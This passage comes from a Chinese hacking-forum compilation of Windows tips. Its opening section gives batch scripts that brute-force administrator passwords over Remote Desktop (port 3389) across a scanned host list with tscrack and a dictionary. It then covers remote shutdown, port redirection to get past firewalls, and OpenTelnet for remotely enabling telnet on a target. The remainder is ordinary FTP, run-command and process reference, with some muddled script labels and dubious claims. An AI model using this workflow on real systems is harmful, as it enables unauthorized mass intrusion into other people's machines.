(①存為3389.bat) （假設現有用SuperScan或其他掃錨器掃到一批開有3389的主機IP列表檔案3389.txt)
3389.bat意思是：從3389.txt檔案中取一個IP，接著執行hack.bat
@if not exist tscrack.exe goto noscan
@tscrack %1 -l administrator -w pass.dic >>rouji.txt
:noscan
@echo tscrack.exe no find or scan faild
(②存為hack.bat) (執行3389.bat就OK，且3389.bat、hack.bat、3389.txt、pass.dic與tscrack.exe在同一個目錄下；就可以等待結果了)
hack.bat意思是：執行tscrack.exe用字典暴破3389.txt中所有主機的administrator密碼，並將破解結果保存在rouji.txt文件中。
5、其他：
Shutdown.exe
Shutdown \\IP地址 t:20 20秒後將對方NT自動關閉（Windows 2003系統自帶工具，在Windows2000下用進就得下載此工具才能用。在前面Windows 2003 DOS命令中有詳細介紹。）
fpipe.exe (TCP埠重定向工具) 在第二篇中有詳細說明（埠重定向繞過防火牆）
fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 當有人掃錨你的80埠時，他掃到的結果會完全是www.sina.com.cn的主機資訊
Fpipe -l 23 -s 88 -r 23 目標IP 把本機向目標IP發送的23埠Telnet請求經埠重定向後，就通過88埠發送到目標IP的23埠。（與目標IP建立Telnet時本機就用的88埠與其相連接）然後：直接Telnet 127.0.0.1（本機IP）就連接到目標IP的23埠了。
OpenTelnet.exe (遠端開啟telnet工具)
opentelnet.exe \\IP 帳號 密碼 ntlm認證方式 Telnet埠 （不需要上傳ntlm.exe破壞微軟的身份驗證方式）直接遠端開啟對方的telnet服務後，就可用telnet \\ip 連接上對方。
NTLM認證方式：０：不使用NTLM身份驗證；１：先嘗試NTLM身份驗證，如果失敗，再使用用戶名和密碼；２：只使用NTLM身份驗證。
ResumeTelnet.exe (OpenTelnet附帶的另一個工具)
resumetelnet.exe \\IP 帳號 密碼 用Telnet連接完對方後，就用這個命令將對方的Telnet設定還原，並同時關閉Telnet服務。
#10 十：
6、FTP命令詳解：
FTP命令是Internet用戶使用最頻繁的命令之一，熟悉並靈活應用FTP的內部命令，可以大大方便使用者，並收到事半功倍之效。如果你想學習使用進行後臺FTP下載，那麼就必須學習FTP指令。
FTP的命令行格式為：
ftp -v -d -i -n -g [主機名] ，其中
-v 顯示遠端伺服器的所有回應資訊；
-n 限制ftp的自動登錄，即不使用；.n etrc文件；
-d 使用調試方式；
-g 取消全局檔案名。
FTP使用的內部命令如下(中括弧表示可選項):
1.![cmd[args]]：在本地機中執行交互shell，exit回到ftp環境，如：!ls*.zip
2.$ macro-ame[args]： 執行巨集定義macro-name。
3.account[password]： 提供登錄遠端系統成功後訪問系統資源所需的補充口令。
4.append local-file[remote-file]：將本地檔案追加到遠端系統主機，若未指定遠端系統檔案名，則使用本地檔案名。
5.ascii：使用ascii類型傳輸方式。
6.bell：每個命令執行完畢後電腦響鈴一次。
7.bin：使用二進位檔案傳輸方式。
8.bye：退出ftp會話過程。
9.case：在使用mget時，將遠端主機檔案名中的大寫轉為小寫字母。
10.cd remote-dir：進入遠端主機目錄。
11.cdup：進入遠端主機目錄的父目錄。
12.chmod mode file-name：將遠端主機檔案file-name的存取方式設定為mode，如：chmod 777 a.out。
13.close：中斷與遠端伺服器的ftp會話(與open對應)。
14.cr：使用asscii方式傳輸檔案時，將回車換行轉換為回行。
15.delete remote-file：刪除遠端主機檔案。
16.debug[debug-value]：設定調試方式， 顯示發送至遠端主機的每條命令，如：deb up 3，若設為0，表示取消debug。
17.dir[remote-dir][local-file]：顯示遠端主機目錄，並將結果存入本地檔案。
18.disconnection：同close。
19.form format：將檔案傳輸方式設定為format，缺省為file方式。
20.get remote-file[local-file]： 將遠端主機的檔案remote-file傳至本地硬碟的local-file。
21.glob：設定mdelete，mget，mput的檔案名擴展，缺省時不擴展檔案名，同命令行的-g參數。
22.hash：每傳輸1024位元組，顯示一個hash符號(#)。
23.help[cmd]：顯示ftp內部命令cmd的幫助資訊，如：help get。
24.idle[seconds]：將遠端伺服器的休眠計時器設為[seconds]秒。
25.image：設定二進位傳輸方式(同binary)。
26.lcd[dir]：將本地工作目錄切換至dir。
27.ls[remote-dir][local-file]：顯示遠端目錄remote-dir， 並存入本地檔案local-file。
28.macdef macro-name：定義一個宏，遇到macdef下的空行時，巨集定義結束。
29.mdelete[remote-file]：刪除遠端主機檔案。
30.mdir remote-files local-file：與dir類似，但可指定多個遠端檔案，如 ：mdir *.o.*.zipoutfile 。
31.mget remote-files：傳輸多個遠端檔案。
32.mkdir dir-name：在遠端主機中建一目錄。
33.mls remote-file local-file：同nlist，但可指定多個檔案名。
34.mode[modename]：將檔案傳輸方式設定為modename， 缺省為stream方式。
35.modtime file-name：顯示遠端主機檔案的最後修改時間。
36.mput local-file：將多個檔案傳輸至遠端主機。
37.newer file-name： 如果遠端機中file-name的修改時間比本地硬碟同名檔案的時間更近，則重傳該檔案。
38.nlist[remote-dir][local-file]：顯示遠端主機目錄的檔案清單，並存入本地硬碟的local-file。
39.nmap[inpattern outpattern]：設定檔案名映射機制， 使得檔案傳輸時，檔案中的某些字元相互轉換， 如：nmap $1.$2.$3[$1，$2].[$2，$3]，則傳輸文件a1.a2.a3時，檔案名變為a1，a2。 該命令特別適用于遠端主機為非UNIX機的情況。
40.ntrans[inchars[outchars]]：設定檔案名字元的翻譯機制，如ntrans1R，則檔案名LLL將變為RRR。
41.open host[port]：建立指定ftp伺服器連接，可指定連接埠。
42.passive：進入被動傳輸方式。
43.prompt：設定多個檔案傳輸時的交互提示。
44.proxy ftp-cmd：在次要控制連接中，執行一條ftp命令， 該命令允許連接兩個ftp伺服器，以在兩個伺服器間傳輸檔案。第一條ftp命令必須為open，以首先建立兩個伺服器間的連接。
45.put local-file[remote-file]：將本地檔案local-file傳送至遠端主機。
46.pwd：顯示遠端主機的當前工作目錄。
47.quit：同bye，退出ftp會話。
48.quote arg1，arg2...：將參數逐字發至遠端ftp伺服器，如：quote syst.
49.recv remote-file[local-file]：同get。
50.reget remote-file[local-file]：類似於get， 但若local-file存在，則從上次傳輸中斷處續傳。
51.rhelp[cmd-name]：請求獲得遠端主機的幫助。
52.rstatus[file-name]：若未指定檔案名，則顯示遠端主機的狀態， 否則顯示檔案狀態。
53.rename[from][to]：更改遠端主機檔案名。
54.reset：清除回答佇列。
55.restart marker：從指定的標誌marker處，重新開始get或put，如：restart 130。
56.rmdir dir-name：刪除遠端主機目錄。
57.runique：設定檔案名只一性存儲，若檔案存在，則在原文件後加尾碼.1， .2等。
58.send local-file[remote-file]：同put。
59.sendport：設定PORT命令的使用。
60.site arg1，arg2...：將參數作為SITE命令逐字發送至遠端ftp主機。
61.size file-name：顯示遠端主機檔案大小，如：site idle 7200。
62.status：顯示當前ftp狀態。
63.struct[struct-name]：將檔案傳輸結構設定為struct-name， 缺省時使用stream結構。
64.sunique：將遠端主機檔案名存儲設定為只一(與runique對應)。
65.system：顯示遠端主機的作業系統類型。
66.tenex：將檔案傳輸類型設定為TENEX機的所需的類型。
67.tick：設定傳輸時的位元組計數器。
68.trace：設定包跟蹤。
69.type[type-name]：設定檔案傳輸類型為type-name，缺省為ascii，如:type binary，設定二進位傳輸方式。
70.umask[newmask]：將遠端伺服器的缺省umask設定為newmask，如：umask 3
71.user user-name[password][account]：向遠端主機表明自己的身份，需要口令時，必須輸入口令，如：user anonymous my@email。
72.verbose：同命令行的-v參數，即設定詳盡報告方式，ftp 伺服器的所有響 應都將顯示給用戶，缺省為on.
73.?[cmd]：同help.
#11 十一：
7：電腦執行命令全集 winver---------檢查Windows版本
wmimgmt.msc----打開windows管理體系結構
wupdmgr--------windows更新程式
winver---------檢查Windows版本
wmimgmt.msc----打開windows管理體系結構
wupdmgr--------windows更新程式
wscript--------windows腳本宿主設定
write----------寫字板winmsd-----系統資訊
wiaacmgr-------掃描器和照相機嚮導
winchat--------XP自帶局域網聊天
mem.exe--------顯示記憶體使用情況
Msconfig.exe---系統配置實用程式
mplayer2-------簡易widnows media player
mspaint--------畫圖板
mstsc----------遠端桌面連接
mplayer2-------媒體播放機
magnify--------放大鏡實用程式
mmc------------打開控制臺
mobsync--------同步命令
dxdiag---------檢查DirectX資訊
drwtsn32------ 系統醫生
devmgmt.msc--- 設備管理器
dfrg.msc-------磁片碎片整理程式
diskmgmt.msc---磁片管理實用程式
dcomcnfg-------打開系統元件服務
ddeshare-------打開DDE共用設定
dvdplay--------DVD播放器
net stop messenger-----停止信使服務
net start messenger----開始信使服務
notepad--------打開記事本
nslookup-------網路管理的工具嚮導
ntbackup-------系統備份和還原
narrator-------螢幕"講述人"
ntmsmgr.msc----移動存儲管理器
ntmsoprq.msc---移動存儲管理員操作請求
netstat -an----(TC)命令檢查介面
syncapp--------創建一個公事包
sysedit--------系統組態編輯程式
sigverif-------檔案簽名驗證程式
sndrec32-------答錄機
shrpubw--------創建共用資料夾
secpol.msc-----本地安全策略
syskey---------系統加密，一旦加密就不能解開，保護windows xp系統的雙重密碼
services.msc---本地服務設定
Sndvol32-------音量控制程式
sfc.exe--------系統檔案檢查器
sfc /scannow---windows檔案保護
tsshutdn-------60秒倒計時關機命令
tourstart------xp簡介（安裝完成後出現的漫遊xp程式）
taskmgr--------任務管理器
eventvwr-------事件檢視器
eudcedit-------造字程式
explorer-------打開資源管理器
packager-------物件包裝程式
perfmon.msc----電腦性能監測程式
progman--------程式管理器
regedit.exe----註冊表
rsop.msc-------組策略結果集
regedt32-------註冊表編輯器
rononce -p ----15秒關機
regsvr32 /u *.dll----停止dll檔案執行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁片檢查
certmgr.msc----證書管理實用程式
calc-----------啟動計算器
charmap--------啟動字元對應表
cliconfg-------SQL SERVER 用戶端網路實用程式
Clipbrd--------剪貼板檢視器
conf-----------啟動netmeeting
compmgmt.msc---電腦管理
cleanmgr-------**整理
ciadv.msc------索引服務程式
osk------------打開螢幕鍵盤
odbcad32-------ODBC資料源管理器
oobe/msoobe /a----檢查XP是否啟動
lusrmgr.msc----本機用戶和組
logoff---------註銷命令
iexpress-------木馬捆綁工具，系統自帶
Nslookup-------IP地址偵測器
fsmgmt.msc-----共用文件夾管理器
utilman--------輔助工具管理器
gpedit.msc-----組策略
[轉貼][分享]Windows進程詳解
Windows進程詳解
xp系統進程資訊系統進程
[system process] alg.exe csrss.exe
ddhelp.exe dllhost.exe explorer.exe
inetinfo.exe internat.exe kernel32.dll
lsass.exe mdm.exe mmtask.tsk
mprexe.exe msgsrv32.exe mstask.exe
regsvc.exe rpcss.exe services.exe
smss.exe snmp.exe spool32.exe
spoolsv.exe stisvc.exe svchost.exe
system taskmon.exe tcpsvcs.exe
winlogon.exe winmgmt.exe
一般程式
absr.exe acrobat.exe acrord32.exe
agentsvr.exe aim.exe airsvcu.exe
alogserv.exe avconsol.exe avsynmgr.exe
backWeb.exe bcb.exe calc.exe
ccapp.exe cdplayer.exe charmap.exe
cidaemon.exe cisvc.exe cmd.exe
cmesys.exe ctfmon.exe ctsvccda.exe
cutftp.exe defwatch.exe devldr32.exe
dire****d.exe dreamweaver.exe em_exec.exe
excel.exe findfast.exe frontpage.exe
gmt.exe hh.exe hidserv.exe
icq.exe iexplore.exe irmon.exe
kodakimage.exe loadqm.exe loadwc.exe
mad.exe mcshield.exe mgabg.exe
mmc.exe mobsync.exe mplayer.exe
mplayer2.exe msaccess.exe msbb.exe
msdtc.exe msiexec.exe msimn.exe
msmsgs.exe msoobe.exe mspaint.exe
mspmspsv.exe mysqld-nt.exe navapsvc.exe
navapw32.exe ndetect.exe netscape.exe
notepad.exe ntbackup.exe ntvdm.exe
nvsvc32.exe nwiz.exe osa.exe
outlook.exe photoshop.exe point32.exe
powerpnt.exe pstores.exe qttask.exe
realplay.exe rnaapp.exe rtvscan.exe
rundll32.exe sndrec32.exe sndvol32.exe
spoolss.exe starter.exe systray.exe
tapisrv.exe userinit.exe visio.exe
vptray.exe vshwin32.exe vsmon.exe
vsstat.exe wab.exe webscanx.exe
winamp.exe winhlp32.exe winoa386.mod
winproj.exe winroute.exe winword.exe
winzip32.exe wkcalrem.exe wkqkpick.exe
wmplayer.exe wordpad.exe wowexec.exe
ypager.exe
系統進程描述
system process
進程檔: [systemprocess] or [system process]
進程名稱: Windows記憶體處理系統進程描述: Windows頁面記憶體管理進程，擁有0級優先。是否為系統進程: 是
alg.exe
進程檔: alg or alg.exe
進程名稱: 應用層閘道服務描述: 這是一個應用層閘道服務用於網路共用。是否為系統進程: 是
csrss.exe
進程檔: csrss orcsrss.exe
進程名稱:Client/Server Runtime Server Subsystem
描述: 用戶端服務子系統，用以控制Windows圖形相關子系統。是否為系統進程: 是
ddhelp.exe
進程檔: ddhelp orddhelp.exe
進程名稱: DirectDrawHelper
描述: DirectDrawHelper是DirectX這個用於圖形服務的一個組成部分。是否為系統進程: 是
dllhost.exe
進程檔: dllhost ordllhost.exe
進程名稱: DCOM DLLHost進程描述: DCOM DLL Host進程支援基於COM物件支援DLL以運行Windows程式。是否為系統進程: 是
inetinfo.exe
進程檔: inetinfo orinetinfo.exe
進程名稱: IIS AdminService Helper
描述: InetInfo是Microsoft Internet Infomation Services(IIS)的一部分，用於Debug調試除錯。是否為系統進程: 是
internat.exe
進程檔: internat orinternat.exe
進程名稱: InputLocales
描述: 這個輸入控制圖示用於更改類似國家設置、鍵盤類型和日期格式。是否為系統進程: 是
kernel32.dll
進程檔: kernel32 orkernel32.dll
進程名稱: Windows殼進程描述: Windows殼進程用於管理多執行緒、記憶體和資源。是否為系統進程: 是
lsass.exe
進程檔: lsass orlsass.exe
進程名稱: 本地安全許可權服務描述: 這個本地安全許可權服務控制Windows安全機制。是否為系統進程: 是
mdm.exe
進程檔: mdm ormdm.exe
進程名稱: MachineDebug Manager
描述: Debug除錯管理用於調試應用程式和Microsoft Office中的Microsoft Script Editor腳本編輯器。是否為系統進程: 是
mmtask.tsk
進程檔: mmtask ormmtask.tsk
進程名稱: 多媒體支援進程描述: 這個Windows多媒體幕後程式控制多媒體服務，例如MIDI。是否為系統進程: 是
mprexe.exe
進程檔: mprexe ormprexe.exe
進程名稱: Windows路由進程描述: Windows路由進程包括向適當的網路部分發出網路請求。 是否為系統進程: 是
msgsrv32.exe
進程檔: msgsrv32 ormsgsrv32.exe
進程名稱: Windows信差服務描述: Windows信差服務調用Windows驅動和程式管理在啟動。是否為系統進程: 是
mstask.exe
進程檔: mstask ormstask.exe
進程名稱: Windows計畫任務描述: Windows計畫任務用於設定繼承在什麼時間或者什麼日期備份或者運行。是否為系統進程: 是
regsvc.exe
進程檔: regsvc orregsvc.exe
進程名稱: 遠端註冊表服務描述: 遠端註冊表服務用於訪問在遠端電腦的註冊表。是否為系統進程: 是
rpcss.exe
進程檔: rpcss orrpcss.exe
進程名稱: RPCPortmapper
描述: Windows 的RPC埠映射進程處理RPC調用(遠端模組調用)然後把它們映射給指定的服務提供者。是否為系統進程: 是
services.exe
進程檔: services orservices.exe
進程名稱: WindowsService Controller
描述: 管理Windows服務。是否為系統進程: 是
smss.exe
進程檔: smss orsmss.exe
進程名稱: SessionManager Subsystem
描述: 該進程為會話管理子系統用以初始化系統變數，MS-DOS驅動名稱類似LPT1以及COM，調用Win32殼子系統和運行在Windows登陸過程。是否為系統進程: 是
snmp.exe
進程檔: snmp orsnmp.exe
進程名稱: MicrosoftSNMP Agent
描述: Windows簡單的網路通訊協定代理（SNMP）用於監聽和發送請求到適當的網路部分。是否為系統進程: 是
spool32.exe
進程檔: spool32 orspool32.exe
進程名稱: PrinterSpooler
描述: Windows列印任務控制程式，用以印表機就緒。是否為系統進程: 是
spoolsv.exe
進程檔: spoolsv orspoolsv.exe
進程名稱: PrinterSpooler Service
描述: Windows列印任務控制程式，用以印表機就緒。是否為系統進程: 是
stisvc.exe
進程檔: stisvc orstisvc.exe
進程名稱: Still ImageService
描述: Still ImageService用於控制掃描器和數碼相機連接在Windows。是否為系統進程: 是
svchost.exe
進程檔: svchost orsvchost.exe
進程名稱: ServiceHost Process
描述: Service HostProcess是一個標準的動態連接庫主機處理服務。是否為系統進程: 是
system
進程檔: system orsystem
進程名稱: WindowsSystem Process
描述: MicrosoftWindows系統進程。是否為系統進程: 是
taskmon.exe
進程檔: taskmon ortaskmon.exe
進程名稱: WindowsTask Optimizer
描述: windows任務優化器監視你使用某個程式的頻率，並且通過載入那些經常使用的程式來整理優化硬碟。是否為系統進程: 是
tcpsvcs.exe
進程檔: tcpsvcs ortcpsvcs.exe
進程名稱: TCP/IPServices
描述: TCP/IPServices Application支援透過TCP/IP連接局域網和Internet。是否為系統進程: 是
winlogon.exe
進程檔: winlogon orwinlogon.exe
進程名稱: WindowsLogon Process
描述: Windows NT使用者登陸程式。是否為系統進程: 是
winmgmt.exe
進程檔: winmgmt orwinmgmt.exe
進程名稱: WindowsManagement Service
描述: WindowsManagement Service透過Windows Management Instrumentation data (WMI)技術處理來自應用用戶端的請求。是否為系統進程: 是程式進程
absr.exe
進程檔: absr or absr.exe
進程名稱:Backdoor.Autoupder Virus
描述: 這個進程是Backdoor.Autoupder後門病毒程式創建的。是否為系統進程: 否
acrobat.exe
進程檔: acrobat oracrobat.exe
進程名稱: AdobeAcrobat
描述: AcrobatWriter用於創建PDF文檔。是否為系統進程: 否
acrord32.exe
進程檔: acrord32 oracrord32.exe
進程名稱: AcrobatReader
描述: AcrobatReader是一個用於閱讀PDF文檔的軟體。是否為系統進程: 否
agentsvr.exe
進程檔: agentsvr oragentsvr.exe
進程名稱: OLEautomation server
描述: OLEAutomation Server是Microsoft Agent的一部分。是否為系統進程: 否
aim.exe
進程檔: aim oraim.exe
進程名稱: AOL InstantMessenger
描述: AOL InstantMessenger是一個線上聊天和即時通訊IM軟體用戶端。是否為系統進程: 否
airsvcu.exe
進程檔: airsvcu orairsvcu.exe
進程名稱: MicrosoftMedia Manager
描述: OLE 這是一個用於在硬碟上建立索引檔和資料夾，在Microsoft Media Manager媒體管理啟動時運行的進程。它可以在控制台被禁用。是否為系統進程: 否
alogserv.exe
進程檔: alogserv or alogserv.exe
進程名稱: McAfeeVirusScan
描述: McAfeeVirusScan是一個反病毒軟體用於掃描你的文檔和E-mail中的病毒。是否為系統進程: 否
avconsol.exe
進程檔: avconsol oravconsol.exe
進程名稱: McAfeeVirusScan
描述: McAfeeVirusScan是一個反病毒軟體用於掃描你的文檔和E-mail中的病毒。是否為系統進程: 否
avsynmgr.exe
進程檔: avsynmgr oravsynmgr.exe
進程名稱: McAfeeVirusScan
描述: McAfeeVirusScan是一個反病毒軟體用於掃描你的文檔和E-mail中的病毒。是否為系統進程: 否
backWeb.exe
進程檔: backWeb orbackWeb.exe
進程名稱: BackwebAdware
描述: Backweb是一個Adware（廣告外掛程式，一般是由於安裝某些免費軟體而伴隨安裝上的程式）來自Backweb Technologies。是否為系統進程: 否
bcb.exe
進程檔: bcb orbcb.exe
進程名稱: Borland C++Builder
描述: Borland C++Builder
是否為系統進程: 否
calc.exe
進程檔: calc orcalc.exe
進程名稱: Calculator
描述: MicrosoftWindows計算器程式是否為系統進程: 否
ccapp.exe
進程檔: ccapp orccapp.exe
進程名稱: SymantecCommon Client
描述: Symantec公用應用用戶端包含在Norton AntiVirus 2003和Norton Personal Firewall 2003。是否為系統進程: 否
cdplayer.exe
進程檔: cdplayer orcdplayer.exe
進程名稱: CD Player
描述: MicrosoftWindows包含的CD播放機是否為系統進程: 否
charmap.exe
進程檔: charmap orcharmap.exe
進程名稱: WindowsCharacter Map
描述: Windows字元對應表用來説明你尋找不常見的字元。是否為系統進程: 否
idaemon.exe
進程檔: cidaemon orcidaemon.exe
進程名稱: MicrosoftIndexing Service
描述: 在後臺運行的Windows索引服務，用於説明你搜索檔在下次變得更快。是否為系統進程:
cisvc.exe
進程檔: cisvc orcisvc.exe
進程名稱: MicrosoftIndex Service Helper
描述: MicrosoftIndex Service Helper監視Microsoft Indexing Service (cidaemon.exe) 的記憶體佔用情況，如果cidaemon.exe記憶體使用超過了40M，則自動重新開機該進程。是否為系統進程: 否
cmd.exe
進程檔: cmd orcmd.exe
進程名稱: WindowsCommand Prompt
描述: Windows控制台程式。不像舊的command.com，cmd.exe是一個32位的命令行使用在WinNT/2000/XP。是否為系統進程: 否
cmesys.exe
進程檔: cmesys orcmesys.exe
進程名稱: Gator GAINAdware
描述: Gator GAIN是一個Adware外掛程式（廣告外掛程式，一般是由於安裝某些免費軟體而伴隨安裝上的程式）。是否為系統進程: 否
ctfmon.exe
進程檔: ctfmon orctfmon.exe
進程名稱: AlternativeUser Input Services
描述: 控制Alternative User Input Text Processor (TIP)和Microsoft Office語言條。Ctfmon.exe提供語音辨識、手寫辨識、鍵盤、翻譯和其它使用者輸入技術的支援。是否為系統進程: 否
ctsvccda.exe
進程檔: ctsvccda orctsvccda.exe
進程名稱: CreateCD-ROM Services
描述: 在Win9X創建CD-ROM訪問服務。是否為系統進程: 否
cutftp.exe
進程檔: cutftp orcutftp.exe
進程名稱: CuteFTP
描述: CuteFTP是一個流行的FTP用戶端用於從FTP伺服器上傳/下載檔案。是否為系統進程: 否
defwatch.exe
進程檔: defwatch ordefwatch.exe
進程名稱: NortonAntiVirus
描述: NortonAnti-Virus掃描你的檔和email以檢查病毒。是否為系統進程: 否
devldr32.exe
進程檔: devldr32 ordevldr32.exe
進程名稱: CreateDevice Loader
描述: CreativeDevice Loader屬於Create Soundblaster驅動。是否為系統進程: 否
directcd.exe
進程檔: directcd ordirectcd.exe
進程名稱: AdaptecDirectCD
描述: AdaptecDirectCD是一個用檔案管理員式的介面，燒錄檔到光碟的軟體。是否為系統進程: 否
dreamweaver.exe
進程檔: dreamweaveror dreamweaver.exe
進程名稱: MacromediaDreamWeaver
描述: MacromediaDreamWeaver是一個HTML編輯器用於創建網站和其它類別的HTML文檔。是否為系統進程: 否
em_exec.exe
進程檔: em_exec orem_exec.exe
進程名稱: LogitechMouse Settings
描述: 這是Logitech MouseWare狀態列圖示的進程，用於使用者存取控制滑鼠屬性和察看MouseWare説明。是否為系統進程: 否
excel.exe
進程檔: excel orexcel.exe
進程名稱: MicrosoftExcel
描述: MicrosoftExcel是一個試算表程式包括在Microsoft Office中。是否為系統進程: 否
findfast.exe
進程檔: findfast orfindfast.exe
進程名稱: MicrosoftOffice Indexing
描述: MicrosoftOffice索引程式，用於提高Microsoft Office索引Office文檔的速度。是否為系統進程: 否
frontpage.exe
進程檔: frontpage orfrontpage.exe
進程名稱: MicrosoftFrontPage
描述: MicrosoftFrontPage是一個HTML編輯器用於創建網站和其它類別的HTML文檔。是否為系統進程: 否
gmt.exe
進程檔: gmt orgmt.exe
進程名稱: GatorSpyware Component
描述: Gator Spyware是一個廣告外掛程式，隨Gator安裝和啟動。是否為系統進程: 否
hh.exe
進程檔: hh or hh.exe
進程名稱: GatorWindows Help
描述: Windows Help程式用以打開説明檔和文檔，包括在很多Windows程式中。是否為系統進程: 否
hidserv.exe
進程檔: hidserv orhidserv.exe
進程名稱: MicrosoftHuman Interface Device Audio Service
描述: 後臺服務，用來支援USB音效部件和USB多媒體鍵盤。是否為系統進程: 否
QQ.exe
進程檔: QQ or QQ.exe
進程名稱: QQ
描述: QQ是一個線上聊天和即時通訊用戶端。是否為系統進程: 否
iexplore.exe
進程檔: iexplore oriexplore.exe
進程名稱: InternetExplorer
描述: MicrosoftInternet Explorer網路流覽器透過HTTP訪問WWW萬維網。是否為系統進程: 否
kodakimage.exe
進程檔: kodakimageor kodakimage.exe
進程名稱: Imaging
描述: Kodak Imaging是一個圖片察看軟體。包括在Windows，用以打開影像檔。是否為系統進程: 否
loadqm.exe
進程檔: loadqm orloadqm.exe
進程名稱: MSN QueueManager Loader
描述: MSN QueueManager Loader被隨著MSN Explorer和MSN Messenger安裝。他在一些時候會佔用很多系統資源。 是否為系統進程: 否
loadwc.exe
進程檔: loadwc orloadwc.exe
進程名稱: LoadWebCheck
描述: Load WebCheck用以定制一些Internet Explorer的設定，添加、刪除或者更新用戶profiles設定。是否為系統進程: 否
mad.exe
進程檔: mad ormad.exe
進程名稱: SystemAttendant Service
描述: SystemAttendant Service是Microsoft Exchange Server的幕後程式。它用以讀取Microsoft Exchange的DLLs檔，寫log資訊和生成離線位址薄。是否為系統進程: 否
mcshield.exe
進程檔: mcshield ormcshield.exe
進程名稱: McAfeeVirusScan
描述: McAfeeVirusScan是一個反病毒軟體用以掃描你的檔和email中的病毒。是否為系統進程: 否
mgabg.exe
進程檔: mgabg ormgabg.exe
進程名稱: Matrox BIOSGuard
描述: Matrox BIOS守護進程。是否為系統進程: 否
mmc.exe
進程檔: mmmc ormmc.exe
進程名稱: MicrosoftManagement Console
描述: MicrosoftManagement Console管理控制程式集成了很多的系統控制選項。例如設備管理（系統、硬體）或者電腦許可權控制（Administrative管理工具）。是否為系統進程: 否
mobsync.exe
進程檔: mobsync ormobsync.exe
進程名稱: MicrosoftSynchronization Manager
描述: InternetExplorer的一個組成部分，用以在後臺同步離線察看頁面。是否為系統進程: 否
mplayer.exe
進程檔: mplayer ormplayer.exe
進程名稱: WindowsMedia Player
描述: Windows MediaPlayer是一個用以打開音樂、聲音和視頻檔的軟體。是否為系統進程: 否
mplayer2.exe
進程檔: mplayer2 ormplayer2.exe
進程名稱: WindowsMedia Player
描述: Windows MediaPlayer是一個用以打開音樂、聲音和視頻檔的軟體。是否為系統進程: 否
msaccess.exe
進程檔: msaccess ormsaccess.exe
進程名稱: MicrosoftAccess
描述: MicrosoftAccess是一個資料庫軟體包括在Microsoft Office。是否為系統進程: 否
msbb.exe
進程檔: msbb ormsbb.exe
進程名稱: MSBBWeb3000 Spyware Application
描述: MSBB Web3000Spyware是包括在一些adware產品中，利用註冊表隨Windows啟動。是否為系統進程: 否
msdtc.exe
進程檔: msdtc ormsdtc.exe
進程名稱: DistributedTransaction Coordinator
描述: MicrosoftDistributed Transaction Coordinator控制多個伺服器的傳輸，被安裝在Microsoft Personal Web Server和Microsoft SQL Server。是否為系統進程: 否
msiexec.exe
進程檔: msiexec ormsiexec.exe
進程名稱: WindowsInstaller Component
描述: WindowsInstaller的一部分。用來幫助Windows Installer package files (MSI)格式的安裝檔。 是否為系統進程: 否
msimn.exe
進程檔: msimn ormsimn.exe
進程名稱: MicrosoftOutlook Express
描述: MicrosoftOutlook Express是一個Email和新聞群組用戶端包括在Microsoft Windows。是否為系統進程: 否
msmsgs.exe
進程檔: msmsgs ormsmsgs.exe
進程名稱: MSNMessenger Traybar Process
描述: MSN Messenger是一個線上聊天和即時通訊用戶端。是否為系統進程: 否
msoobe.exe
進程檔: msoobe ormsoobe.exe
進程名稱: WindowsProduct Activation
描述: Windows XPLicense的Product Activation產品啟動程式。是否為系統進程: 否
mspaint.exe
進程檔: mspaint ormspaint.exe
進程名稱: MicrosoftPaint
描述: MicrosoftPaint畫圖是一個圖像編輯器包括在Microsoft Windows，它能夠編輯bmp圖像。是否為系統進程: 否
mspmspsv.exe
進程檔: mspmspsv ormspmspsv.exe
進程名稱: WMDM PMSPService
描述: Windows MediaPlayer 7需要安裝的Helper Service。是否為系統進程: 否
mysqld-nt.exe
進程檔: mysqld-nt ormysqld-nt.exe
進程名稱: MySQLDaemon
描述: MySQL Daemon控制訪問MySQL資料庫。是否為系統進程: 否
navapsvc.exe
進程檔: navapsvc ornavapsvc.exe
進程名稱: NortonAntiVirus Auto-Protect Service
描述: NortonAnti-Virus掃描你的檔和email中的病毒。是否為系統進程: 否
navapw32.exe
進程檔: navapw32 ornavapw32.exe
進程名稱: NortonAntiVirus Agent
描述: NortonAnti-Virus掃描你的檔和email中的病毒。是否為系統進程: 否
ndetect.exe
進程檔: ndetect orndetect.exe
進程名稱: ICQ NdetectAgent
描述: ICQ NdetectAgent是ICQ用來偵測網路連接的程式。是否為系統進程: 否
netscape.exe
進程檔: netscape ornetscape.exe
進程名稱: Netscape
描述: Netscape網路流覽器通過HTTP流覽WWW萬維網。是否為系統進程: 否
notepad.exe
進程檔: notepad ornotepad.exe
進程名稱: Notepad
描述: Notepad字元編輯器用於打開文檔。在Windows中附帶。是否為系統進程: 否
ntbackup.exe
進程檔: ntbackup orntbackup.exe
進程名稱: WindowsBackup
描述: Windows備份工具用於備份檔案和資料夾。是否為系統進程: 否
ntvdm.exe
進程檔: ntvdm orntvdm.exe
進程名稱: Windows16-bit Virtual Machine
描述: WindowsVirtual Machine是為了相容舊的16位元Windows和DOS程式而設置的虛擬機器。是否為系統進程: 否
nvsvc32.exe
進程檔: nvsvc32 ornvsvc32.exe
進程名稱: NVIDIADriver Helper Service
描述: NVIDIA DriverHelper Service在NVIDA顯卡驅動中被安裝。是否為系統進程: 否
nwiz.exe
進程檔: nwiz ornwiz.exe
進程名稱: NVIDIAnView Control Panel
描述: NVIDIA nView控制台在NVIDA顯卡驅動中被安裝，用於調整和設定。是否為系統進程: 否
osa.exe
進程檔: osa orosa.exe
進程名稱: OfficeStartup Assistant
描述: MicrosoftOffice啟動助手，隨Windows啟動，增強啟動、Office字體、命令和Outlook事務提醒等特性。是否為系統進程: 否
outlook.exe
進程檔: outlook oroutlook.exe
進程名稱: MicrosoftOutlook
描述: MicrosoftOutlook是一個Email用戶端包括在Microsoft Office。是否為系統進程: 否
photoshop.exe
進程檔: photoshop orphotoshop.exe
進程名稱: AdobePhotoshop
描述: AdobePhotoshop是一個圖像編輯軟體，能夠打開和編輯照片和其它更多類型格式的圖片。是否為系統進程: 否
point32.exe
進程檔: point32 orpoint32.exe
進程名稱: MicrosoftIntellimouse Monitor
描述: MicrosoftIntellimouse Monitor添加一個滑鼠設定圖示在工具列。是否為系統進程: 否
powerpnt.exe
進程檔: powerpnt orpowerpnt.exe
進程名稱: MicrosoftPowerPoint
描述: MicrosoftPowerPoint是一個演示軟體包括在Microsoft Office。是否為系統進程: 否
pstores.exe
